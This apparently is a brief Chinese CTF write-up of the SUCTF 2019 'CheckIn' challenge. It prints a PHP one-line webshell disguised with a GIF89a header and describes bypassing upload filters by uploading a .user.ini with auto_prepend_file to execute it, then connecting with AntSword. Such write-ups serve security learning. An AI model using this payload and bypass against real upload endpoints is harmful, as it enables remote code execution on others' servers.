[SUCTF 2019]CheckIn1

黑名单过滤后缀'ph',并且白名单image类型要有对应文件头

对<?过滤,改用GIF89a<script language='php'>@eval($_POST['cmd']);</script>,成功把getshell.gif上传上去了

尝试用.htaccess将上传的gif当作php解析,但是失败了

根据这篇文章.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

上传.user.ini使用auto_prepend_file=<specific_file>将指定文件包含到当前目录下的php文件前

可以看到getshell.gif的文件头已经显示出来了,说明成功包含getshell.gif,后面跟着的一句话木马自然可以运行

连接蚁剑找到flag

相关推荐
曲幽1 天前
FastAPI + SQLite:从基础CRUD到安全并发的实战指南
python·sqlite·fastapi·web·jwt·form·sqlalchemy·oauth2
HarryXYC1 天前
【vb.net】实现简单的内网文件分享网站
.net·web·文件共享·vb.net
曲幽2 天前
FastAPI + TinyDB并发陷阱与实战:告别数据错乱的解决方案
python·json·fastapi·web·并发·queue·lock·文件锁·tinydb
码界奇点3 天前
前端基础知识构建现代Web应用的基石
前端·青少年编程·web
Code Slacker3 天前
第八届传智杯AI WEB网页开发挑战赛练习题库
web·竞赛·传智杯
CC码码3 天前
迈向开源第一步,给fabric.js提PR
前端·javascript·开源·web·fabric
闲人编程3 天前
FastAPIAdmin后台管理系统
python·接口·web·后台管理·admin·codecapsule·fast api
sg_knight3 天前
如何通过 CSS 实现走马灯效果(纯前端实现)
前端·javascript·css·vue·web·走马灯
曲幽3 天前
从本地到云端:深入理解WSGI,让你的Python Web应用稳健部署
python·nginx·flask·fastapi·web·gunicorn·uvicorn·diango·waitress
heartbeat..4 天前
JavaWeb 入门 - HttpServletResponse 响应对象 详解
java·网络·http·web·response